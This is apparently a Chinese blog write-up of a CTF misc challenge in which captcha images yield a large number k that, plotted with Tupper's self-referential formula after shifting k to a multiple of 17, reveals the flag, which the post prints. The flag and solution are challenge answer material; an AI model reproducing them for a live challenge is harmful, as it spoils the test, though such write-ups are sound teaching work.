selfReferentialK = 960939379918958884971672962127852754715004339660129306651505519271702802395266424689642842174350718121267153782770623355993237280874144307891325963941337723487857735749823926629715517173716995165232890538221612403238855866184013235585136048828693337902491454229288667081096184496091705183454067827731551705405381627380967602565625016981482083418783163849115590225610003652351370343874461848378737238198224849863465033159410054974700593138339226497249461751545728366702369745461014655997933798537483143786841806593422227898388722980000748404719
提供的zip包中有136张图片,每张四个验证码,不会图像识别又租不起识别云服务的可怜ctfer只能人工识别了(以下是手动检查了两遍的结果):
k1 = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865387478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552
绘制出的图片是这样的:看起来像是上下穿越了的图片,手动裁剪一下会得到完整的图片,但也可以把k改一改:
k2 = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865387478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279561
得到的图片:
看到ISC,左边的空间也不多了,那猜一猜就是:flag{MISC_COOL!!}
,提交到buu上会发现flag是对的(向已结束比赛提交正确的flag,它才会提示比赛已经结束;错误的flag会告诉你是错的)
那为什么改k可以呢,灵感来自:在线tuupers-formular绘制 ,传入k1会提示该数字不被17整除,将其加个9变成k2就能被17整除,我们就能得到一张正确的图片。(该网站只能处理17倍数的k,但在博客中拿来的代码可以处理所有的k)
试着偏移一下k,会得到:
k的作用是偏移图片,每17次偏移会有一个像素点的变化,不断地偏移k就是在遍历所有像素点的变化。
工具:GIF免费制作,在线tuupers-formular绘制
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具